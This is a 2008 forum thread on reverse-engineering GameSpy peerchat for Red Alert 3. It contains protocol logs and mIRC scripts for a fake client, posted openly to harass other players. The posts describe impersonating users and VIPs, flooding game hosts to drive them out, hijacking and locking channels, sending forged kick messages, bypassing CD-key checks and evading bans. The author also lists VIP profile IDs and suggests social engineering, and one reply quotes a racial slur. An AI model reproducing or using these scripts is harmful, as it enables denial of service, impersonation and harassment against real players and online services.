PostPosted: 24 Aug 2008 19:24 

Joined: 24 Aug 2008 17:06
Posts: 24
The Compilation of Research...

How to Login Properly to peerchat.

Code:
CRYPT des 1 redalert3pcb

### GAMEKEY: uBZwpf
:s 705 * SjcYwcde>PQImGcE RC>AjNWf[m>jd=gr
### CLIENT CHALLENGE: SjcYwcde>PQImGcE
### SERVER CHALLENGE: RC>AjNWf[m>jd=gr

USRIP
>Ignore reply

USER XaaaaaaaaX|13371337 127.0.0.1 peerchat.gamespy.com :0000000000000000000000000000000
>We can use any info we want =)

NICK Sidonuke
>Any nick will do

JOIN #GPG!2266
MODE #GPG!2266
GETCKEY #GPG!2266 * 000 0 :\username\b_flags
>Ignore Responses. Its not needed for a fake client
SETCKEY #GPG!2266 Sidonuke :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
>Send what ever info we want.
GETCKEY #GPG!2266 * 001 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank 
>Ignore this too.


While in a lobby
Code:
PRIVMSG #GPG!2266 text
>for chatting
NOTICE #GPG!2266 text
>for system messages (This is a hack)
PRIVMSG User text
>for whispers
NOTICE User text
>for system messages to users (This is a hack)


Joining a Game
Code:
JOIN #GSP!redalert3pcb!MaPJ9aPhaM
MODE #GSP!redalert3pcb!MaPJ9aPhaM
>This must be set
SETCKEY #GPG!2266 Sidonuke :\b_flags\s
SETCKEY #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke :\b_flags\s
GETCKEY #GSP!redalert3pcb!MaPJ9aPhaM * 023 0 :\username\b_flags
>Send the same ranking info as before.
SETCKEY #GPG!2266 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
SETCKEY #GSP!redalert3pcb!MaPJ9aPhaM Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\62\b_losses\32\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\0
GETCKEY #GSP!redalert3pcb!MaPJ9aPhaM * 024 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
UTM #GSP!redalert3pcb!MaPJ9aPhaM :BCLR/
UTM car2nr :MAP 1


Notes when joining:
If the game is full the host will send a
UTM Yourname :KICK/ GameFull
Ignore this =p (Removed from slots)

If you do join successfully you will be added to the slots list. Then we can start doing stuff?

If the host kicks you he will send a
UTM Sidonuke :KICK/ KickByHost
Ignore this =p (Removed from slots)

If you are kicked then you are not in the slots.
If you join a game and not lobby is present you will not be on the slots.

While in a game lobby
Code:
PRIVMSG #GPG!2266 text
>for chatting
NOTICE #GPG!2266 text
>for system messages (This is a hack)
PRIVMSG User text
>for whispers
NOTICE User text
>for system messages to users (This is a hack)


Time to start fking around with lobby sync and rules
Player Commands (Send these to host)
Code:
UTM HostersName :REQ/ PlayerTemplate=8
>Faction
UTM HostersName :REQ/ Color=0
>Color
UTM HostersName :REQ/ Team=0
>Team
UTM HostersName :REQ/ StartPos=1
>Start
UTM #GSP!redalert3pcb!MzJ3P31DKM :BCLR/
>I Joined?
UTM matchcola :READY true
>I'm Ready
UTM matchcola :READY false
>I'm not ready
UTM #GSP!redalert3pcb!M9lDDK9PaM :KPA/
>Update Status?


Host Commands (Sent To Channel)
Code:
UTM #GSP!redalert3pcb!M9lDDK9PaM :PN/ 0=Sidonuke
UTM #GSP!redalert3pcb!M9lDDK9PaM :SL/ M=281data/maps/official/map_mp_2_feasel1;MC=32853103;MS=0;SD=-1294104150;GSID=4402;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 -1 ;S=H,D8284AED,0,TT,1,4,1,1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pcb!M9lDDK9PaM :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pcb!M9lDDK9PaM :PIDS/ 0, , , , , , , , , , , ,
>Rules Slots Everything....
UTM #GSP!redalert3pcb!MzJ3P31DKM :HWS/ true
>I'm Ready to Start (Sends a white text message telling player to ready up.

NOTICE #GSP!redalert3pcb!MzJ3P31DKM :5...
NOTICE #GSP!redalert3pcb!MzJ3P31DKM :4...
NOTICE #GSP!redalert3pcb!MzJ3P31DKM :3...
NOTICE #GSP!redalert3pcb!MzJ3P31DKM :2...
NOTICE #GSP!redalert3pcb!MzJ3P31DKM :1...
UTM #GSP!redalert3pcb!MzJ3P31DKM :GML
PRIVMSG #GSP!redalert3pcb!MzJ3P31DKM :@@@GML 12.210.62.2/OLD
>Starts the game


Host Commands (Sent to Player)
Code:
UTM Sidonuke :KICK/ GameFull
UTM Sidonuke :KICK/ KickByHost


Top
 Profile  
 
 Post subject:
PostPosted: 24 Aug 2008 19:27 

Joined: 24 Aug 2008 17:06
Posts: 24
Ok well this is all i have for now. Any new info ill edit posts.

Do not repost without credits =)
Thanks to aluigi for his peerchat programs.

Edit:
I got ub3r banned from the peerchat server. (Connection is rejected.)
Waiting for IP to change now since tor isnt working for me atm.


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 01:18 

Joined: 24 Aug 2008 17:06
Posts: 24
I had a huge discussion with users on EA forums.

http://forums.ea.com/mboards/thread.jsp ... 0&tstart=0

It was closed and removed off the topic list but it still exists and is viewable by link.

Ohh yeah this is fun to watch

http://www.wegame.com/watch/RA3_CHAT_HACKER/


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 01:28 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
well done


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 01:40 

Joined: 24 Aug 2008 17:06
Posts: 24
More Linkz...

http://s328.photobucket.com/albums/l338 ... SpyPic.png
They think it was a Gamespy Admin but it was me making them happy =p

And this EA Forums thread was the orginal.
http://forums.ea.com/mboards/thread.jsp ... 0&tstart=0

Some crazy shit lawl.
I cant wait to be unbanned so i can try more shit =D

Edit:
aluigi if you can find some stuff on authenitcation it should be possible to emulate our way bypassing cdkey auth as explained. This would be really fun for the people who have issues with logging in and DRMs


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 03:22 

Joined: 24 Aug 2008 17:06
Posts: 24
ra3game.dat:5520 UDP Sidonuke-PC:61328 *:*
ra3game.dat:5520 TCP sidonuke-pc.sidonuke.com:53507 easo.ea.com:18071 ESTABLISHED
ra3game.dat:5520 UDP Sidonuke-PC:6500 *:*
ra3game.dat:5520 TCP sidonuke-pc.sidonuke.com:53508 207.38.11.34:29900 ESTABLISHED
ra3game.dat:5520 TCP sidonuke-pc.sidonuke.com:53510 159.153.244.83:9986 ESTABLISHED



OrgName: Electronic Arts, Inc.
OrgID: ELECTR-60
Address: 209 Redwood Shores Parkway
City: Redwood City
StateProv: CA
PostalCode: 94065
Country: US

NetRange: 159.153.0.0 - 159.153.255.255
CIDR: 159.153.0.0/16
NetName: EA
NetHandle: NET-159-153-0-0-1
Parent: NET-159-0-0-0-0
NetType: Direct Assignment
NameServer: SEDNS.EA.COM
NameServer: SWDNS.EA.COM
Comment:
RegDate: 1992-04-29
Updated: 2006-07-07

RTechHandle: EAMAI1-ARIN
RTechName: EA Maintainer
RTechPhone: +1-650-628-5555
RTechEmail: ea-maint@ea.com

OrgTechHandle: EAMAI1-ARIN
OrgTechName: EA Maintainer
OrgTechPhone: +1-650-628-5555
OrgTechEmail: ea-maint@ea.com

# ARIN WHOIS database, last updated 2008-08-24 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.



Intelenet Communications NETWORK-207-38-0-0 (NET-207-38-0-0-1)
207.38.0.0 - 207.38.47.255
IGN Entertainment ICI-IGNEN-1 (NET-207-38-8-0-1)
207.38.8.0 - 207.38.15.255

# ARIN WHOIS database, last updated 2008-08-24 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.




Server: 70.84.160.11
Address: 70.84.160.11#53

Non-authoritative answer:
Name: easo.ea.com
Address: 159.153.234.54


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 04:02 

Joined: 24 Aug 2008 17:06
Posts: 24
IP address changed. time to put my research to work.


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 04:29 

Joined: 24 Aug 2008 17:06
Posts: 24
;/cncjoin #GPG!2266
;/cncjoin #lobbychannel
/cncjoin {
raw JOIN $1
raw MODE $1
raw GETCKEY $1 * 000 0 :\username\b_flags
raw SETCKEY $1 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
raw GETCKEY $1 * 001 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
}

;/cncgamejoin #gamechannel #lobbychannel HosterName (The channel operator or the one with sh flags)
/cncgamejoin {
raw JOIN $1
raw MODE $1
raw SETCKEY $2 $me :\b_flags\s
raw SETCKEY $1 $me :\b_flags\s
raw GETCKEY $1 * 023 0 :\username\b_flags
raw SETCKEY $2 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
raw SETCKEY $1 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
raw GETCKEY $1 * 024 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
raw UTM $1 :BCLR/
raw UTM $3 :MAP 1
}

;/cncgamestatus #gamechannel
/cncgamestatus {
raw UTM $1 :KPA/
}

;/cncgameready #gamechannel true/false
/cncgameready {
raw UTM $1 :READY $2
}

;/cncgamestart #gamechannel
/cncgamestart {
raw NOTICE $1 :5...
raw NOTICE $1 :4...
raw NOTICE $1 :3...
raw NOTICE $1 :2...
raw NOTICE $1 :1...
raw UTM $1 :GML
raw PRIVMSG $1 :@@@GML $2/OLD
}

;/cncgamerules HosterName
/cncgamerules {
raw UTM $1 :REQ/ PlayerTemplate=$2
raw UTM $1 :REQ/ Color=$3
raw UTM $1 :REQ/ Team=$4
raw UTM $1 :REQ/ StartPos=$5
}

;/cncgamestartplz #gamechannel
/cncgamestartplz {
raw UTM $1 :BCLR/
}

;/cncgamekick PlayerToRemove
/cncgamekick {
raw UTM $1 $1 :KICK/ KickByHost
}

;/cncgamefull PlayerToRemove
/cncgamefull {
raw UTM $1 $1 :KICK/ KickByHost
}

;/cncbflags YourStatusFlags (s = Staging, h = hoster, g = ingame)
/cncbflags {
raw SETCKEY $1 Sidonuke :\b_flags\$2
}


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 05:43 

Joined: 24 Aug 2008 17:06
Posts: 24
Testing proves the following.
UTM Kick Commands are only accepted from senders with +o
Forcing a game to start will not happen without NAT Negoed... and having +o and even with sh flags on (Requirement must be slot 0)
Updating Game Rules is not accepted except from +o and even with sh flags on (Requirement must be slot 0)
Everyone Ready Up Command isn't accepted even from +o and even with sh flags on (Requirement must be slot 0)
raw PRIVMSG $1 :@@@GML $2/OLD is not used... Because im still gagged and it didn't stop a valid game.
You need to be in a slot to send player option commands raw UTM $1 :REQ/ StartPos=$5
raw UTM $1 :REQ/ StartPos=$5 if they are invaild they arnt accepted.
invalid faction is settable.

Results of able exploits.
Impersonation is still ok.
Use of Notices for white text is still ok.
Using VIP IDs is still ok.
hijacking a channel after everyone left is still ok.
Kick Commands are accepted from +o's or hoster
Rules/Map/Slot Info Updates are only accepted from hoster
Starting a game isn't allowed except from hoster
Asking Ready Up isnt allowed except from hoster
Using the /cncgamejoin is vaild and will make you join.
You can control your faction team color and position only if you are fully joined and in a slot (Being kicked results in no slot (KickByHost/GameFull) Or a Channel Kick (Non UTM))
Your player controls must be in vaild ranges.
Changing Topic Doesnt have any effect on whos hoster or lobby name.
If you are kicked all you need to do is /part then /cncgamejoin you will be slotted.

Gaining the Hoster Flag seems tricky. Having +o or Setting the Topic to your name or having sh flags doesnt give you hoster... Nor is any of those flags are needed to be a hoster. (Hosting is controlled though other means)
You can not validate Nat Nego on a fake client. So games can not start.


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 06:01 

Joined: 24 Aug 2008 17:06
Posts: 24
Here is the final list of usable commands on a fake client.
Code:
/cncjoin {
  raw JOIN #GPG!2266
  raw MODE #GPG!2266
  raw GETCKEY #GPG!2266 * 000 0 :\username\b_flags
  raw SETCKEY #GPG!2266 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
  raw GETCKEY #GPG!2266 * 001 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
}

/cncgamejoin {
  raw JOIN $1
  raw MODE $1
  raw SETCKEY #GPG!2266 $me :\b_flags\s
  raw SETCKEY $1 $me :\b_flags\s
  raw GETCKEY $1 * 023 0 :\username\b_flags
  raw SETCKEY #GPG!2266 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
  raw SETCKEY $1 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
  raw GETCKEY $1 * 024 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
  raw UTM $1 :BCLR/
  raw UTM $nick($1,1,o) :MAP 1
}

/cncgamerejoin {
  raw PART $1
  raw JOIN $1
  raw MODE $1
  raw SETCKEY #GPG!2266 $me :\b_flags\s
  raw SETCKEY $1 $me :\b_flags\s
  raw GETCKEY $1 * 023 0 :\username\b_flags
  raw SETCKEY #GPG!2266 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
  raw SETCKEY $1 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
  raw GETCKEY $1 * 024 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
  raw UTM $1 :BCLR/
  raw UTM $nick($1,1,o) :MAP 1
}

/cncgameready {
  raw UTM $1 :READY $2
}

/cncgamekick {
  raw UTM $1 $1 :KICK/ KickByHost
}

/cncgamefull {
  raw UTM $1 $1 :KICK/ GameFull
}

/cncgametakeover {
  raw PART $1
  raw JOIN $1
  raw MODE $1 +l 1
  raw MODE $1 +k locked123
}


Kick Commands can only be used if you are Oper.
Game Locking can only be used if you are Oper.

Usage...

Start peerchat-irc with the args
peerchat_irc.exe -g redalert3pcb uBZwpf -i 25677635 -D 702 -p 6669 -a XaaaaaaaaX -h 00000000000000000000000000000000
Login with mIRC
use /cncjoin
use /list redalert3
find a game to join.
use /cncgamejoin #gps!redalert3pcb!XXXXXXXX
Keep readied up =)
Keep an eye on the UTMs if you get removed /cncgamerejoin #gps!redalert3pcb!XXXXXXXX
Annoy the game hoster for a bit.
Hoster leaves.
You /cncgametakeover #gps!redalert3pcb!XXXXXXXX
They can no longer host =)

VIP Profile Ids for getting blue chat
change the -i 25677635 to any VIP ID
Code:
<VIP>
  19576023
  21525197
  95243469
  93332782
  95701019
  93335431
  95673191
  95688731
</VIP>


/notice's result in white chats =)

Use /nick to take over peoples names =p

And thats all the good exploits i got atm. Till i can find the hoster flag setup =p


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 07:05 

Joined: 24 Aug 2008 17:06
Posts: 24
More Extensive reasearch has resulted in the following.

First... We Vaild Join a Game

raw JOIN $1
raw MODE $1
raw SETCKEY #GPG!2266 $me :\b_flags\s
raw SETCKEY $1 $me :\b_flags\s
raw GETCKEY $1 * 023 0 :\username\b_flags
raw SETCKEY #GPG!2266 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
raw SETCKEY $1 $me :\b_clanName\\b_arenaTeamID\\b_locale\\b_wins\\b_losses\\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\
raw GETCKEY $1 * 024 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
raw UTM $1 :BCLR/
raw UTM $nick($1,1,o) :MAP 1

If we are not UTM $me :KICK/ GameFull
If we get a UTM containing Game Lobby Info

Then we can start a Ready/Unready flood.

Loop Start
UTM $hoster :READY/ true
UTM $hoster :READY/ false
Loop End

Else we notify attacker and part channel (if desired)

This spam.... returns the hoster updating lobby into such as slots every time we send. Now the irc server/client results in the hoster sending the updates slowly. Causing a backlog when players/hoster updates their settings. Not only does it create lag but it also prevent users settings changing till the flood ends. This also prevents the hoster from sending any messages till the queue is completed. Now the hoster at this point will go WTF and part or quit. In result all other users will leave since if the host quits/parts all valid client users will part. After this we part/join and gain channel operator and do what ever we please at this point.

The point of this is we can force a hoster to leave in order to take over his channel.


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 25 Aug 2008 07:17 

Joined: 24 Aug 2008 17:06
Posts: 24
Final Update:
I'm ending this research now since i reached the peak of what is possible.

Exploits Found:
Using a fake client to connect to gamespy peerchat to annoy users of RA3.

Details (The following can be done to annoy users):
Spoofing Playernames and Profile IDs to look like their friends.
Spoofing a Profile ID of a VIP to gain blue text.
Using GETCDKEY command to find Encoded IP/Profile ID/Hashed CD Key
Using Notice's To send white text with no name to main chat lobbies and game hosting lobbies
Using Notice's To message players while in a game

Channel Exploits:
The ability to join a game lobby and register a slot
Able to stay in a game lobby and disrupt NAT Negotiation to prevent a game from launching
Spamming Player Status Changes (Ready/Faction/Color/Team/Position) to the hoster freeze all game lobby settings
Gaining Channel Operator for custom games and preventing game hosting and annoying users with GameFull Kick Messages
Locking Channels to prevent a person from hosting a game

Extended Annoyance:
Tracking users via whois to find which channels they are in to then join their games to prevent play
Spamming Chat Lobbies with notices and causing panic
Holding up the ability to play games
Spoofing of a trusted Username/ProfileID to impersonate a friend of a friend to gain trust and social engineering.

I'll be releasing a mIRC Script to do all of this for you and include the peerchat-irc tool to connect to gamespy.

Thank you all for reading,
Sidonuke


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 02 Sep 2008 10:56 

Joined: 14 Aug 2007 15:32
Posts: 6
did u guys get atm to work ?? :O

i beleave the ATM command edits incoming chat for badwords etc and client info


ChatMonitor ATM #GSP!ta CHDEL nigger


WolfBlade ATM stin-gs ?IMP INFO

other commands CHDEL...CHDELN..CHREP.

this was the info i got sent to my client this was about 4 years ago so dunno wot updates they have done


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 03 Nov 2008 16:15 

Joined: 24 Aug 2008 17:06
Posts: 24
Ok this completely slipped my mind how the fuck do i get gamekeys.
I was able to get it on the ra3beta but now i dont remember how to get the new gamekey


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 03 Nov 2008 17:46 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
the simplest way: launch the game, enter in the multiplayer menu, dump the memory or attach a debugger to the process and search all the occurrencies of the gamename of the game (like redalert3pcb), the gamekey is some bytes around it


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 05 Nov 2008 05:36 

Joined: 24 Aug 2008 17:06
Posts: 24
wow im stupid. its the exact same gamekey...
I did a memory dump and found some interesting strings tho. more on that later.
Anyways the only thing that has changed is initial auth.

Code:
----------------------------------
Log file appended at:
  04/11/08   (dd/mm/yy)
  23:26:25
----------------------------------

CRYPT des 1 redalert3pc

### GAMEKEY: uBZwpf
:s 705 * mltC`=dZqWlKQmh? tT`l?BH`rbRf?PE\
### CLIENT CHALLENGE: mltC`=dZqWlKQmh?
### SERVER CHALLENGE: tT`l?BH`rbRf?PE\
USRIP
:s 302  :=+@216.40.74.112
USER Xq41W4OFpX|165497110 127.0.0.1 peerchat.gamespy.com :fed32e04231660dea6d0ae9a41c8ed3b
NICK Sidonuke
:s 001 Sidonuke :Welcome to the Matrix Sidonuke
:s 002 Sidonuke :Your host is xs0, running version 1.0
:s 003 Sidonuke :This server was created Fri Oct 19 1979 at 21:50:00 PDT
:s 004 Sidonuke s 1.0 iq biklmnopqustvhe
:s 375 Sidonuke :- (M) Message of the day -
:s 372 Sidonuke :- Welcome to GameSpy
:s 376 Sidonuke :End of MOTD command
CDKEY AAAAAAAAAAAAAAAAAAAA (Notice this isnt a vaild key you may not be authenticated) (testing will be done soon)
:s 706 Sidonuke 1 :Authenticated
JOIN #GPG!2176
:Sidonuke!Xq41W4OFpX|165497110@* JOIN :#GPG!2176
MODE #GPG!2176
:s 332 Sidonuke #GPG!2176 :Click on the "Game Info" button at the top of your screen for the latest information on patches, add-on files, interviews, strategy guides and more!  It`s all there!
:s 333 Sidonuke #GPG!2176 SERVER 1225379572
:s 353 Sidonuke * #GPG!2176 :@ChatMonitor-gs randlemadden straightedge101 Fresh{0} GerNtlER fil1987 bulksta Armoredwood sucake KushFader liucmc Rawrior birdman711 acode100 joemoma ChewyTwoey Charlton03 shogunapocolypse Roguecoder koreajon ani21stillakid chaoboj ddubs14 Fluid DasPeakz Ricoman Lixt Shnoosh Beef-Stewart Deikum Aeoneth robh1214 Fizzyboy Ahva Tron67 Stargher Feudal1 TUB><MadMarine bfire853 A_Steamy_Pickle Khaos HvpE hubr645 supercomanderwan chocolatehamster theasiannoob
:s 353 Sidonuke * #GPG!2176 :gatekeep Rockanator27 SyphenX wiznxg Mert GermanC4 TryLee Nukemuff capcomroy -b4p- FinalBahamutC2K ObiWanCeleri marel1985 turck3 MaiDeMao Maiku_Wongu sungod feeling580 TartarusMkII hellfirereborn quelys atxboy512 GrenadeShark akishadows{0} breal4u269 pilotrowa PrimarchHorus Matrix Boxtao Talinai danknation DarkWizard Pigzorkly PatrikLim Teeko Viking205 Aly699 Keson jerkstore RangerDan600 Defektor Sombust Ishan22 Sidonuke
:s 366 Sidonuke #GPG!2176 :End of NAMES list
GETCKEY #GPG!2176 * 000 0 :\username\b_flags
SETCKEY #GPG!2176 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\8\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\1
GETCKEY #GPG!2176 * 001 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
SETCKEY #GPG!2176 Sidonuke :\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1
SETCKEY #GPG!2176 Sidonuke :\b_onlineRank\1
:s 324 Sidonuke #GPG!2176 +tnp


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 05 Nov 2008 06:39 

Joined: 24 Aug 2008 17:06
Posts: 24
Gamespy seems to handle CDKEY Auth to a extent.
If i try to login from RA3 while my fake client is working with that key it will get removed.
Also you need a vaild key to join Lobbies or else you are +b to them
You must be under the RA3 Game Key before joining RA3 Lobbies or you will get chat banned on that IP
Their Auto Detection has improved alot be careful and use a fully authenticated login.


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 05 Nov 2008 06:52 

Joined: 24 Aug 2008 17:06
Posts: 24
Proper Login with mIRC and peerchat_irc.exe

Code:
Run peerchat_irc.exe -v -f irc_log.log -i 13371337 -a XaaaaaaaaX -g redalert3pc uBZwpf -k AAAAAAAAAAAAAAAAAAAA -h thisisntavaildcdkeyhashgetavaildkeyplz


You need Vaild IPs/Profile IDs/CDKeys and Hashes to login or else you will get auto muted or even fully banned.
Vaild IP must be your encoded ip.
Profile ID must be a vaild profile id in use
CDKey must be vaild and authorized to login

mIRC:
Remote:
Code:
on ^*:LOGON:*:{
  /raw NICK YourNickHere
  /halt
}

on ^*:CONNECT:*:{
  /halt
}


Aliases
Code:
/cnclogin {
  raw CDKEY AAAAAAAAAAAAAAAAAAAA
  raw JOIN #GPG!2166
  raw MODE #GPG!2166
  raw GETCKEY #GPG!2166 * 000 0 :\username\b_flags
  raw SETCKEY #GPG!2166 $me  :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\0\b_losses\0\b_rank1v1\\b_rank2v2\\b_clan1v1\\b_clan2v2\\b_onlineRank\1
  raw GETCKEY #GPG!2166 * 001 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
  raw SETCKEY #GPG!2166 $me :\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1
  raw SETCKEY #GPG!2166 $me :\b_onlineRank\1
}


Failed Login (Rand Key and IP)
Code:
CRYPT des 1 redalert3pcb
:s 705 * QhcTuKdUOhPQrOOb `]bWaFtf<l<>hoTm
USRIP
NICK Sidonuke
USER XwaegwghrX|19576023 127.0.0.1 peerchat.gamespy.com :ab66e878a34dff01676cfe4cef93d3e8
:s 302  :=+redalert3pcb@216.40.74.112
:s 433 * Sidonuke :Nickname is already in use
NICK :Failure
:s 001 Failure :Welcome to the Matrix Failure
:s 002 Failure :Your host is xs3, running version 1.0
:s 003 Failure :This server was created Fri Oct 19 1979 at 21:50:00 PDT
:s 004 Failure s 1.0 iq biklmnopqustvhe
:s 375 Failure :- (M) Message of the day -
:s 372 Failure :- Welcome to GameSpy
:s 376 Failure :End of MOTD command
:ADMIN!ADMIN@* PRIVMSG Failure :Notice: Your chat privileges have been revoked from this service for violation of our acceptable use policy (http://www.gamespyarcade.com/software/support/chatrules.shtml). The reason given is: Using unauthorized client. This will expire on: 11/5/2008 21:43. You can continue to use the service to play games, but will not be allowed to chat with other users.


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 05 Nov 2008 08:15 

Joined: 24 Aug 2008 17:06
Posts: 24
Hosting Game
Code:
JOIN #GSP!redalert3pc!M9cDDK9J1M
:Sidonuke!Xq41W4OFpX|165497110@216.40.74.112 JOIN :#GSP!redalert3pc!M9cDDK9J1M
MODE #GSP!redalert3pc!M9cDDK9J1M
:s 331 Sidonuke #GSP!redalert3pc!M9cDDK9J1M :No topic is set
:s 353 Sidonuke * #GSP!redalert3pc!M9cDDK9J1M :@Sidonuke
:s 366 Sidonuke #GSP!redalert3pc!M9cDDK9J1M :End of NAMES list
MODE #GSP!redalert3pc!M9cDDK9J1M +k lol123
MODE #GSP!redalert3pc!M9cDDK9J1M
SETCKEY #GPG!2166 Sidonuke :\b_flags\s
SETCKEY #GSP!redalert3pc!M9cDDK9J1M Sidonuke :\b_flags\sh
GETCKEY #GSP!redalert3pc!M9cDDK9J1M * 009 0 :\username\b_flags
TOPIC #GSP!redalert3pc!M9cDDK9J1M :Sidonuke hosting test
MODE #GSP!redalert3pc!M9cDDK9J1M +l 6
SETCKEY #GPG!2166 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\8\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\1
SETCKEY #GSP!redalert3pc!M9cDDK9J1M Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\8\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\1
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,-1,7,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 0, , , , , , , , , , , ,
UTM Sidonuke :REQ/ PlayerTemplate=4
UTM Sidonuke :REQ/ Color=0
:s 702 #GPG!2166 #GPG!2166 Sidonuke BCAST :\b_flags\s
:s 324 Sidonuke #GSP!redalert3pc!M9cDDK9J1M +tnp
